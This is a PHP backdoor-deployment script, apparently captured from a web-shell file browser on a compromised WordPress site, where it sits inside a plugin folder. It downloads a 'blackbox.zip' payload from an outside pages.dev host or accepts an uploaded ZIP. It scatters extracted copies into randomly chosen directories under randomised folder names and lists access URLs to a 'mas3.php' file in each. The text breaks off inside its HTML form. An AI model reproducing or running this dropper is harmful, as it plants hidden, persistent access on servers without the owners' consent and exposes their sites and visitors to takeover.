HEX
Server: LiteSpeed
System: Linux standart108 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: pplae2ji7 (11089)
PHP: 8.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/deploy.php
<?php
// ====================================================
// HEADER ANTI CACHE
// ====================================================
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

// ====================================================
// KONFIGURASI
// ====================================================
session_start();

// Default document root
$default_root = $_SERVER['DOCUMENT_ROOT'];

// Proses custom root dari POST
if (isset($_POST['set_root']) && isset($_POST['custom_root'])) {
    $custom_root_input = trim($_POST['custom_root']);
    if (!empty($custom_root_input) && is_dir($custom_root_input)) {
        $_SESSION['custom_root'] = $custom_root_input;
        $custom_root = $custom_root_input;
        $root = $custom_root_input;
        $custom_root_error = '';
    } else if (!empty($custom_root_input)) {
        $custom_root_error = "❌ Directory tidak valid: " . $custom_root_input;
        unset($_SESSION['custom_root']);
        $custom_root = '';
        $root = $default_root;
    } else {
        unset($_SESSION['custom_root']);
        $custom_root = '';
        $root = $default_root;
    }
} elseif (isset($_POST['reset_root'])) {
    unset($_SESSION['custom_root']);
    $custom_root = '';
    $root = $default_root;
    $custom_root_error = '';
} else {
    $custom_root = isset($_SESSION['custom_root']) ? $_SESSION['custom_root'] : '';
    if (!empty($custom_root) && is_dir($custom_root)) {
        $root = $custom_root;
    } else {
        $root = $default_root;
        if (!empty($custom_root) && !is_dir($custom_root)) {
            unset($_SESSION['custom_root']);
            $custom_root = '';
        }
    }
}

$zip_url = 'https://id69project.pages.dev/blackbox.zip';
$temp_dir = __DIR__ . '/temp';
$upload_dir = __DIR__ . '/uploads';
$log = [];
$results = [];
$download_success = false;
$download_error = '';
$zip_file = '';
$custom_root_error = isset($custom_root_error) ? $custom_root_error : '';

// Buat folder temp & uploads
if (!is_dir($temp_dir)) {
    mkdir($temp_dir, 0777, true);
}
if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

// ====================================================
// FUNGSI BANTUAN
// ====================================================
function formatSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' B';
    }
}

function generateRandomString($length = 6) {
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $random_string = '';
    for ($i = 0; $i < $length; $i++) {
        $random_string .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $random_string;
}

// ====================================================
// CEK KETERSEDIAAN UNZIP
// ====================================================
function checkUnzipAvailable() {
    // Cek ZipArchive
    if (class_exists('ZipArchive')) {
        return 'ziparchive';
    }
    
    // Cek exec unzip
    if (function_exists('exec')) {
        $output = [];
        $return_var = 0;
        exec('unzip -v 2>&1', $output, $return_var);
        if ($return_var === 0) {
            return 'exec_unzip';
        }
    }
    
    // Cek system unzip
    if (function_exists('system')) {
        $output = [];
        $return_var = 0;
        system('unzip -v 2>&1', $return_var);
        if ($return_var === 0) {
            return 'system_unzip';
        }
    }
    
    return false;
}

// ====================================================
// UNZIP DENGAN BERBAGAI METODE
// ====================================================
function unzipFile($zip_path, $target_dir) {
    // Method 1: ZipArchive (terbaik)
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive();
        $open = $zip->open($zip_path);
        
        if ($open === true) {
            $extract = $zip->extractTo($target_dir);
            $zip->close();
            
            if ($extract) {
                return [
                    'success' => true,
                    'method' => 'ZipArchive'
                ];
            }
        }
    }
    
    // Method 2: Exec unzip
    if (function_exists('exec')) {
        $output = [];
        $return_var = 0;
        $cmd = 'unzip -o "' . $zip_path . '" -d "' . $target_dir . '" 2>&1';
        exec($cmd, $output, $return_var);
        
        if ($return_var === 0) {
            return [
                'success' => true,
                'method' => 'exec(unzip)'
            ];
        }
    }
    
    // Method 3: System unzip
    if (function_exists('system')) {
        $return_var = 0;
        $cmd = 'unzip -o "' . $zip_path . '" -d "' . $target_dir . '" > /dev/null 2>&1';
        system($cmd, $return_var);
        
        if ($return_var === 0) {
            return [
                'success' => true,
                'method' => 'system(unzip)'
            ];
        }
    }
    
    // Method 4: PclZip (library PHP murni)
    $pclzip_path = __DIR__ . '/pclzip.lib.php';
    if (!file_exists($pclzip_path)) {
        // Download PclZip jika belum ada
        $pclzip_url = 'http://www.phpconcept.net/pclzip/pclzip-2-8-2.zip';
        $pclzip_temp = __DIR__ . '/pclzip_temp.zip';
        
        $ch = curl_init($pclzip_url);
        $fp = fopen($pclzip_temp, 'w');
        curl_setopt($ch, CURLOPT_FILE, $fp);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
        fclose($fp);
        
        if (file_exists($pclzip_temp)) {
            $zip = new ZipArchive();
            if ($zip->open($pclzip_temp) === true) {
                $zip->extractTo(__DIR__);
                $zip->close();
            }
            unlink($pclzip_temp);
        }
    }
    
    if (file_exists($pclzip_path)) {
        require_once($pclzip_path);
        $archive = new PclZip($zip_path);
        $result = $archive->extract(PCLZIP_OPT_PATH, $target_dir);
        
        if ($result && $result > 0) {
            return [
                'success' => true,
                'method' => 'PclZip'
            ];
        }
    }
    
    return [
        'success' => false,
        'error' => 'Tidak ada metode unzip yang tersedia! (ZipArchive, exec(unzip), system(unzip), PclZip)'
    ];
}

// ====================================================
// DOWNLOAD DARI URL
// ====================================================
function downloadFile($url, $path) {
    if (!function_exists('curl_init')) {
        return [
            'success' => false,
            'error' => 'cURL tidak tersedia!'
        ];
    }
    
    $ch = curl_init($url);
    $fp = fopen($path, 'w');
    
    if (!$fp) {
        return [
            'success' => false,
            'error' => 'Gagal membuka file untuk menulis: ' . $path
        ];
    }
    
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 300);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_ENCODING, '');
    
    $result = curl_exec($ch);
    $error = curl_error($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $size_download = curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
    $total_time = curl_getinfo($ch, CURLINFO_TOTAL_TIME);
    
    curl_close($ch);
    fclose($fp);
    
    if ($result === false || $http_code != 200) {
        if (file_exists($path)) {
            unlink($path);
        }
        return [
            'success' => false,
            'error' => $error ?: 'HTTP Code: ' . $http_code,
            'http_code' => $http_code
        ];
    }
    
    return [
        'success' => true,
        'size' => $size_download,
        'time' => $total_time,
        'http_code' => $http_code
    ];
}

// ====================================================
// GET ALL FOLDERS
// ====================================================
function getAllFolders($dir, $level = 0, $max_level = 10, &$result = [], &$level_info = []) {
    if ($level > $max_level) return;
    if (!is_dir($dir)) return;
    
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            $current_level = $level + 1;
            $result[] = $path;
            $level_info[] = $current_level;
            getAllFolders($path, $current_level, $max_level, $result, $level_info);
        }
    }
}

// ====================================================
// GET RANDOM DIRECTORY
// ====================================================
function getRandomDirectories($root, $count, $max_level = 10) {
    $all_folders = [];
    $all_levels = [];
    getAllFolders($root, 0, $max_level, $all_folders, $all_levels);
    
    if (count($all_folders) < $count) {
        return null;
    }
    
    $total = count($all_folders);
    $selected_indices = [];
    while (count($selected_indices) < $count) {
        $rand = rand(0, $total - 1);
        if (!in_array($rand, $selected_indices)) {
            $selected_indices[] = $rand;
        }
    }
    
    $result = [];
    foreach ($selected_indices as $index) {
        $result[] = [
            'path' => $all_folders[$index],
            'level' => $all_levels[$index]
        ];
    }
    
    return $result;
}

// ====================================================
// PERMISSION
// ====================================================
function setPermission($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            @chmod($path, 0755);
            setPermission($path);
        } else {
            @chmod($path, 0644);
        }
    }
    @chmod($dir, 0755);
    return true;
}

// ====================================================
// GET URL ACCESS
// ====================================================
function getAccessUrl($target_dir, $random_string, $root) {
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    $relative_path = str_replace($root, '', $target_dir);
    $relative_path = str_replace('//', '/', $relative_path);
    $relative_path = trim($relative_path, '/');
    
    $base_url = $protocol . '://' . $host;
    if (!empty($relative_path)) {
        $base_url .= '/' . $relative_path;
    }
    
    $full_url = rtrim($base_url, '/') . '/' . $random_string . '/blackbox/core/mas3.php';
    $full_url = filter_var($full_url, FILTER_SANITIZE_URL);
    
    return $full_url;
}

function getExtractUrl($target_dir, $random_string, $root) {
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'];
    $relative_path = str_replace($root, '', $target_dir);
    $relative_path = str_replace('//', '/', $relative_path);
    $relative_path = trim($relative_path, '/');
    
    $base_url = $protocol . '://' . $host;
    if (!empty($relative_path)) {
        $base_url .= '/' . $relative_path;
    }
    
    $full_url = rtrim($base_url, '/') . '/' . $random_string . '/';
    $full_url = filter_var($full_url, FILTER_SANITIZE_URL);
    
    return $full_url;
}

// ====================================================
// SCAN ZIP FILE YANG ADA
// ====================================================
function scanZipFiles($dirs) {
    $zips = [];
    foreach ($dirs as $dir) {
        if (is_dir($dir)) {
            $files = scandir($dir);
            foreach ($files as $file) {
                if (pathinfo($file, PATHINFO_EXTENSION) == 'zip') {
                    $path = $dir . '/' . $file;
                    $zips[] = [
                        'name' => $file,
                        'path' => $path,
                        'size' => filesize($path),
                        'modified' => filemtime($path)
                    ];
                }
            }
        }
    }
    return $zips;
}

// ====================================================
// PROSES UPLOAD
// ====================================================
$upload_result = '';
if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] == UPLOAD_ERR_OK) {
    $file = $_FILES['zip_file'];
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    
    if ($ext == 'zip') {
        $target = $upload_dir . '/' . basename($file['name']);
        if (move_uploaded_file($file['tmp_name'], $target)) {
            $upload_result = '✅ File berhasil diupload: ' . basename($file['name']);
            $zip_file = $target;
        } else {
            $upload_result = '❌ Gagal upload file!';
        }
    } else {
        $upload_result = '❌ Hanya file ZIP yang diizinkan!';
    }
}

// ====================================================
// PROSES DOWNLOAD DARI URL
// ====================================================
if (isset($_POST['action']) && $_POST['action'] == 'download') {
    $log[] = ['type' => 'info', 'msg' => 'đŸ“Ĩ Mencoba download dari URL: ' . $zip_url];
    
    $zip_filename = basename($zip_url);
    $zip_path = $temp_dir . '/' . $zip_filename;
    
    $download_result = downloadFile($zip_url, $zip_path);
    
    if ($download_result['success']) {
        $zip_file = $zip_path;
        $download_success = true;
        $log[] = ['type' => 'success', 'msg' => '✅ Download berhasil! Size: ' . formatSize($download_result['size']) . ' | Waktu: ' . round($download_result['time'], 2) . 's'];
        $log[] = ['type' => 'info', 'msg' => '📁 ZIP tersimpan di: ' . $zip_path];
    } else {
        $download_error = $download_result['error'];
        $log[] = ['type' => 'error', 'msg' => '❌ Download gagal! Error: ' . $download_error];
        $log[] = ['type' => 'warning', 'msg' => '💡 Silakan upload ZIP manual atau pilih ZIP yang sudah ada.'];
    }
}

// ====================================================
// PROSES DEPLOY
// ====================================================
$is_deploy = isset($_POST['action']) && $_POST['action'] == 'deploy';
$jumlah = isset($_POST['jumlah']) ? intval($_POST['jumlah']) : 0;
$selected_zip = isset($_POST['zip_file_path']) ? $_POST['zip_file_path'] : '';

// Cek unzip method available
$unzip_method = checkUnzipAvailable();

if ($is_deploy && $jumlah > 0) {
    $log[] = ['type' => 'info', 'msg' => '🌐 Mengecek koneksi internet...'];
    $log[] = ['type' => 'info', 'msg' => '📋 Target deploy: ' . $jumlah . ' directory'];
    $log[] = ['type' => 'info', 'msg' => '📁 Document Root: ' . $root];
    
    // Log unzip method
    if ($unzip_method) {
        $log[] = ['type' => 'success', 'msg' => '✅ Unzip method tersedia: ' . $unzip_method];
    } else {
        $log[] = ['type' => 'error', 'msg' => '❌ TIDAK ADA UNZIP METHOD TERSEDIA!'];
        $log[] = ['type' => 'warning', 'msg' => '💡 Install php-zip: sudo apt install php-zip'];
        $log[] = ['type' => 'warning', 'msg' => '💡 Atau install unzip: sudo apt install unzip'];
    }
    
    // Tentukan ZIP file yang akan digunakan
    $zip_path = '';
    
    if (!empty($selected_zip) && file_exists($selected_zip)) {
        $zip_path = $selected_zip;
        $log[] = ['type' => 'info', 'msg' => '📁 Menggunakan ZIP dari pilihan: ' . basename($zip_path)];
    } else if (!empty($zip_file) && file_exists($zip_file)) {
        $zip_path = $zip_file;
        $log[] = ['type' => 'info', 'msg' => '📁 Menggunakan ZIP hasil download: ' . basename($zip_path)];
    } else {
        $zips = scanZipFiles([$temp_dir, $upload_dir]);
        if (!empty($zips)) {
            usort($zips, function($a, $b) {
                return $b['modified'] - $a['modified'];
            });
            $zip_path = $zips[0]['path'];
            $log[] = ['type' => 'info', 'msg' => '📁 Menggunakan ZIP terbaru: ' . basename($zip_path) . ' (' . formatSize($zips[0]['size']) . ')'];
        } else {
            $log[] = ['type' => 'error', 'msg' => '❌ Tidak ada file ZIP ditemukan! Silakan download dulu atau upload ZIP.'];
        }
    }
    
    if (!empty($zip_path) && file_exists($zip_path) && $unzip_method) {
        // Ambil random directory
        $random_dirs = getRandomDirectories($root, $jumlah, 10);
        
        if (!$random_dirs || count($random_dirs) < $jumlah) {
            $log[] = ['type' => 'error', 'msg' => '❌ Tidak cukup folder! Tersedia: ' . count($random_dirs ?? []) . ', Diminta: ' . $jumlah];
        } else {
            $log[] = ['type' => 'info', 'msg' => '📋 ' . $jumlah . ' Directory Random:'];
            foreach ($random_dirs as $index => $dir) {
                $log[] = ['type' => 'info', 'msg' => '   ' . ($index + 1) . '. Level ' . $dir['level'] . ': ' . $dir['path']];
            }
            
            // Extract ke setiap directory
            foreach ($random_dirs as $index => $dir_data) {
                $dir_path = $dir_data['path'];
                $level = $dir_data['level'];
                $random_string = generateRandomString(6);
                $final_path = $dir_path . '/' . $random_string;
                
                $log[] = ['type' => 'info', 'msg' => '📂 [' . ($index + 1) . '] Extract ke: ' . $final_path];
                
                if (!is_dir($final_path)) {
                    mkdir($final_path, 0777, true);
                }
                
                $extract_result = unzipFile($zip_path, $final_path);
                
                if ($extract_result['success']) {
                    setPermission($final_path);
                    
                    $access_url = getAccessUrl($dir_path, $random_string, $root);
                    $extract_url = getExtractUrl($dir_path, $random_string, $root);
                    
                    $results[] = [
                        'path' => $dir_path,
                        'level' => $level,
                        'random_string' => $random_string,
                        'final_path' => $final_path,
                        'extract_url' => $extract_url,
                        'access_url' => $access_url,
                        'status' => 'success',
                        'method' => $extract_result['method']
                    ];
                    
                    $log[] = ['type' => 'success', 'msg' => '   ✅ Berhasil (Method: ' . $extract_result['method'] . '): ' . $final_path];
                    $log[] = ['type' => 'folder-url', 'msg' => '   📁 URL: <a href="' . $extract_url . '" target="_blank">' . $extract_url . '</a>'];
                    $log[] = ['type' => 'url', 'msg' => '   🔗 File: <a href="' . $access_url . '" target="_blank">' . $access_url . '</a>'];
                    
                } else {
                    $results[] = [
                        'path' => $dir_path,
                        'level' => $level,
                        'random_string' => $random_string,
                        'final_path' => $final_path,
                        'status' => 'error',
                        'error' => $extract_result['error']
                    ];
                    $log[] = ['type' => 'error', 'msg' => '   ❌ Gagal: ' . $extract_result['error']];
                }
            }
            
            $log[] = ['type' => 'success', 'msg' => '🎉 DEPLOY SELESAI!'];
        }
    } else if (!empty($zip_path) && file_exists($zip_path) && !$unzip_method) {
        $log[] = ['type' => 'error', 'msg' => '❌ Tidak ada metode unzip yang tersedia!'];
        $log[] = ['type' => 'warning', 'msg' => '💡 Solusi:'];
        $log[] = ['type' => 'warning', 'msg' => '   1. Install php-zip: sudo apt install php-zip'];
        $log[] = ['type' => 'warning', 'msg' => '   2. Install unzip: sudo apt install unzip'];
        $log[] = ['type' => 'warning', 'msg' => '   3. Atau upload file ZIP yang sudah diekstrak manual'];
    }
}

// ====================================================
// KUMPULKAN URL
// ====================================================
$url_list = [];
foreach ($results as $r) {
    if ($r['status'] == 'success') {
        $clean_url = trim($r['access_url']);
        $clean_url = str_replace(["\r", "\n", "\t"], '', $clean_url);
        $clean_url = preg_replace('/\s+/', ' ', $clean_url);
        if (filter_var($clean_url, FILTER_VALIDATE_URL)) {
            $url_list[] = $clean_url;
        }
    }
}
$url_list = array_unique($url_list);
$success_count = count($url_list);

// Scan ZIP files untuk ditampilkan di form
$zip_files = scanZipFiles([$temp_dir, $upload_dir]);
$unzip_method = checkUnzipAvailable();
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Auto Deploy ZIP (Multi Method)</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #f0f2f5;
            padding: 20px;
        }
        
        .container {
            max-width: 900px;
            margin: 0 auto;
        }
        
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 25px 30px;
            border-radius: 12px 12px 0 0;
            text-align: center;
        }
        
        .header h1 {
            font-size: 24px;
            font-weight: 700;
        }
        
        .header p {
            opacity: 0.9;
            margin-top: 5px;
            font-size: 14px;
        }
        
        .header .root-path {
            background: rgba(255,255,255,0.2);
            padding: 8px 16px;
            border-radius: 8px;
            display: inline-block;
            margin-top: 10px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
        }
        
        .header .root-path .custom-root-indicator {
            display: inline-block;
            padding: 2px 10px;
            border-radius: 12px;
            font-size: 11px;
            font-weight: 600;
            margin-left: 10px;
        }
        
        .header .root-path .custom-root-indicator.active {
            background: #28a745;
            color: white;
        }
        
        .header .root-path .custom-root-indicator.inactive {
            background: #6c757d;
            color: white;
        }
        
        .card {
            background: white;
            border-radius: 0 0 12px 12px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            margin-bottom: 20px;
            overflow: hidden;
        }
        
        .card-header {
            background: #f8f9fa;
            padding: 15px 25px;
            border-bottom: 2px solid #e9ecef;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .card-header .title {
            font-weight: 600;
            font-size: 16px;
            color: #333;
        }
        
        .card-header .badge {
            background: #667eea;
            color: white;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 600;
        }
        
        .card-body {
            padding: 25px;
        }
        
        .btn {
            display: inline-block;
            padding: 12px 30px;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            text-decoration: none;
            transition: all 0.3s;
        }
        
        .btn:hover {
            transform: scale(1.02);
            box-shadow: 0 4px 10px rgba(0,0,0,0.2);
        }
        
        .btn-primary {
            background: #667eea;
            color: white;
        }
        
        .btn-warning {
            background: #ffc107;
            color: #333;
        }
        
        .btn-success {
            background: #28a745;
            color: white;
        }
        
        .btn-danger {
            background: #dc3545;
            color: white;
        }
        
        .btn-outline-secondary {
            background: transparent;
            color: #6c757d;
            border: 2px solid #6c757d;
        }
        
        .btn-outline-secondary:hover {
            background: #6c757d;
            color: white;
        }
        
        .log-box {
            background: #1e1e1e;
            color: #d4d4d4;
            padding: 15px 20px;
            border-radius: 8px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            max-height: 500px;
            overflow-y: auto;
            line-height: 1.8;
        }
        
        .log-box .success { color: #4caf50; }
        .log-box .error { color: #f44336; }
        .log-box .info { color: #2196f3; }
        .log-box .warning { color: #ffc107; }
        
        .log-box .url {
            color: #ff6b6b;
        }
        
        .log-box .url a {
            color: #ff6b6b;
            text-decoration: underline;
        }
        
        .log-box .url a:hover {
            color: #ffeb3b;
        }
        
        .log-box .folder-url {
            color: #4caf50;
        }
        
        .log-box .folder-url a {
            color: #4caf50;
            text-decoration: underline;
        }
        
        .log-box .folder-url a:hover {
            color: #ffeb3b;
        }
        
        .footer {
            text-align: center;
            padding: 20px;
            color: #888;
            font-size: 13px;
        }
        
        .text-center { text-align: center; }
        .mt-15 { margin-top: 15px; }
        .flex { display: flex; gap: 10px; flex-wrap: wrap; }
        
        .form-input {
            width: 100%;
            padding: 10px 15px;
            font-size: 14px;
            border: 2px solid #e9ecef;
            border-radius: 8px;
            background: white;
            font-family: 'Courier New', monospace;
        }
        
        .form-input:focus {
            outline: none;
            border-color: #667eea;
        }
        
        .form-label {
            display: block;
            font-weight: 600;
            color: #333;
            margin-bottom: 8px;
            font-size: 14px;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-select {
            width: 100%;
            padding: 10px 15px;
            font-size: 14px;
            border: 2px solid #e9ecef;
            border-radius: 8px;
            background: white;
            cursor: pointer;
            font-family: 'Courier New', monospace;
        }
        
        .form-select:focus {
            outline: none;
            border-color: #667eea;
        }
        
        .result-item {
            background: #f8f9fa;
            border-radius: 8px;
            padding: 15px 20px;
            margin-bottom: 10px;
            border-left: 4px solid #667eea;
        }
        
        .result-item .dir-path {
            font-family: 'Courier New', monospace;
            font-size: 13px;
            font-weight: 600;
            color: #333;
        }
        
        .result-item .dir-urls {
            margin-top: 8px;
            font-size: 12px;
        }
        
        .result-item .dir-urls a {
            color: #667eea;
            text-decoration: underline;
        }
        
        .result-item .dir-urls a:hover {
            color: #764ba2;
        }
        
        .result-item .random-string {
            display: inline-block;
            background: #667eea;
            color: white;
            padding: 2px 10px;
            border-radius: 12px;
            font-size: 11px;
            font-weight: 600;
        }
        
        .result-item .method-badge {
            display: inline-block;
            padding: 2px 10px;
            border-radius: 12px;
            font-size: 10px;
            font-weight: 600;
            margin-left: 8px;
            background: #28a745;
            color: white;
        }
        
        .all-urls-box {
            margin-top: 20px;
            background: #f8f9fa;
            border-radius: 8px;
            padding: 15px 20px;
            border: 2px solid #667eea;
        }
        
        .all-urls-box .header-box {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 10px;
            flex-wrap: wrap;
            gap: 10px;
        }
        
        .all-urls-box .header-box h4 {
            color: #333;
            font-size: 14px;
        }
        
        .all-urls-box .url-list {
            background: #1e1e1e;
            color: #4caf50;
            padding: 15px 20px;
            border-radius: 6px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            max-height: 200px;
            overflow-y: auto;
            line-height: 1.8;
            white-space: pre-line;
            word-break: break-all;
        }
        
        .all-urls-box .note {
            margin-top: 8px;
            font-size: 12px;
            color: #666;
        }
        
        .btn-sm {
            padding: 8px 20px;
            font-size: 13px;
        }
        
        .toast {
            visibility: hidden;
            min-width: 250px;
            background-color: #333;
            color: #fff;
            text-align: center;
            border-radius: 8px;
            padding: 16px;
            position: fixed;
            z-index: 999;
            bottom: 30px;
            left: 50%;
            transform: translateX(-50%);
            opacity: 0;
            transition: opacity 0.5s, visibility 0.5s;
            box-shadow: 0 4px 12px rgba(0,0,0,0.3);
        }
        
        .toast.show {
            visibility: visible;
            opacity: 1;
        }
        
        .toast.success {
            background-color: #28a745;
        }
        
        .toast.error {
            background-color: #dc3545;
        }
        
        .toast.info {
            background-color: #17a2b8;
        }
        
        .upload-area {
            border: 2px dashed #667eea;
            border-radius: 8px;
            padding: 20px;
            text-align: center;
            background: #f8f9fa;
            margin-bottom: 15px;
            cursor: pointer;
            transition: all 0.3s;
        }
        
        .upload-area:hover {
            background: #e9ecef;
            border-color: #764ba2;
        }
        
        .upload-area .icon {
            font-size: 36px;
            margin-bottom: 10px;
        }
        
        .upload-area input[type="file"] {
            display: none;
        }
        
        .zip-list {
            background: #f8f9fa;
            border-radius: 8px;
            padding: 10px 15px;
            max-height: 150px;
            overflow-y: auto;
            margin-bottom: 10px;
        }
        
        .zip-list .item {
            display: flex;
            justify-content: space-between;
            padding: 5px 0;
            border-bottom: 1px solid #e9ecef;
            font-size: 13px;
            font-family: 'Courier New', monospace;
        }
        
        .zip-list .item:last-child {
            border-bottom: none;
        }
        
        .zip-list .item .name {
            color: #333;
        }
        
        .zip-list .item .info {
            color: #888;
            font-size: 12px;
        }
        
        .upload-result {
            padding: 10px 15px;
            border-radius: 6px;
            margin-bottom: 10px;
        }
        
        .upload-result.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .upload-result.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .divider {
            display: flex;
            align-items: center;
            text-align: center;
            margin: 20px 0;
        }
        
        .divider::before,
        .divider::after {
            content: '';
            flex: 1;
            border-bottom: 1px solid #e9ecef;
        }
        
        .divider span {
            padding: 0 15px;
            color: #888;
            font-size: 13px;
            font-weight: 600;
        }
        
        .url-input {
            width: 100%;
            padding: 10px 15px;
            font-size: 13px;
            border: 2px solid #e9ecef;
            border-radius: 8px;
            background: #f8f9fa;
            font-family: 'Courier New', monospace;
            color: #333;
            word-break: break-all;
        }
        
        .url-input:focus {
            outline: none;
            border-color: #667eea;
        }
        
        .root-input-group {
            display: flex;
            gap: 10px;
            align-items: center;
            flex-wrap: wrap;
        }
        
        .root-input-group input {
            flex: 1;
            min-width: 200px;
        }
        
        .root-input-group .btn {
            white-space: nowrap;
        }
        
        .root-status {
            padding: 10px 15px;
            border-radius: 6px;
            margin-bottom: 10px;
            font-size: 13px;
        }
        
        .root-status.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .root-status.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .root-status.info {
            background: #d1ecf1;
            color: #0c5460;
            border: 1px solid #bee5eb;
        }
        
        .root-status.warning {
            background: #fff3cd;
            color: #856404;
            border: 1px solid #ffc107;
        }
        
        .unzip-status {
            padding: 12px 18px;
            border-radius: 8px;
            margin-bottom: 15px;
            font-size: 14px;
            font-weight: 600;
        }
        
        .unzip-status.available {
            background: #d4edda;
            color: #155724;
            border: 2px solid #28a745;
        }
        
        .unzip-status.unavailable {
            background: #f8d7da;
            color: #721c24;
            border: 2px solid #dc3545;
        }
    </style>
</head>
<body>

<div class="container">
    <!-- HEADER -->
    <div class="header">
        <h1>🚀 Auto Deploy ZIP (Multi Method)</h1>
        <p>Support: ZipArchive, exec(unzip), system(unzip), PclZip</p>
        <div class="root-path">
            📁 <?php echo $root; ?>
            <?php if (!empty($custom_root) && is_dir($custom_root)): ?>
            <span class="custom-root-indicator active">CUSTOM</span>
            <?php else: ?>
            <span class="custom-root-indicator inactive">DEFAULT</span>
            <?php endif; ?>
        </div>
    </div>
    
    <?php if ($upload_result): ?>
    <div class="card">
        <div class="card-body">
            <div class="upload-result <?php echo strpos($upload_result, '✅') !== false ? 'success' : 'error'; ?>">
                <?php echo $upload_result; ?>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <?php if (!empty($custom_root_error)): ?>
    <div class="card">
        <div class="card-body">
            <div class="root-status error">
                <?php echo $custom_root_error; ?>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <?php if (isset($_POST['set_root']) && empty($custom_root_error) && !empty($_POST['custom_root'])): ?>
    <div class="card">
        <div class="card-body">
            <div class="root-status success">
                ✅ Custom root berhasil diatur: <?php echo htmlspecialchars($_POST['custom_root']); ?>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <?php if (isset($_POST['reset_root'])): ?>
    <div class="card">
        <div class="card-body">
            <div class="root-status info">
                🔄 Root telah direset ke default: <?php echo $default_root; ?>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <!-- ==================== MAIN CARD ==================== -->
    <div class="card">
        <div class="card-header">
            <span class="title">🎲 Deploy ZIP</span>
            <span class="badge">MULTI METHOD</span>
        </div>
        <div class="card-body">
            <!-- UNZIP STATUS -->
            <div class="unzip-status <?php echo $unzip_method ? 'available' : 'unavailable'; ?>">
                <?php if ($unzip_method): ?>
                ✅ Unzip Method Tersedia: <strong><?php echo $unzip_method; ?></strong>
                <?php else: ?>
                ❌ TIDAK ADA UNZIP METHOD TERSEDIA! 
                <br><small style="font-weight:normal;">Install: sudo apt install php-zip atau sudo apt install unzip</small>
                <?php endif; ?>
            </div>
            
            <?php if (!$is_deploy): ?>
                
                <div style="padding:10px 0;">
                    <div style="text-align:center;font-size:48px;margin-bottom:15px;">đŸ“Ļ</div>
                    <p style="text-align:center;color:#666;margin-bottom:20px;line-height:1.8;">
                        1. Download ZIP dari URL, upload manual, atau pilih yang sudah ada<br>
                        2. Tentukan berapa banyak directory yang mau di-deploy<br>
                        3. Random pilih directory (bebas level, ga urut, ga duplicate)<br>
                        4. Setiap directory dapat random string berbeda<br>
                        5. Extract otomatis ke semua directory (Multi Method)<br>
                        6. Tampilkan semua URL akses + COPY ALL<br>
                        7. <strong style="color:#28a745;">Support: ZipArchive, exec(unzip), system(unzip), PclZip</strong>
                    </p>
                    
                    <form method="post" enctype="multipart/form-data" style="margin-top:20px;">
                        
                        <!-- ==================== CUSTOM DOCUMENT ROOT ==================== -->
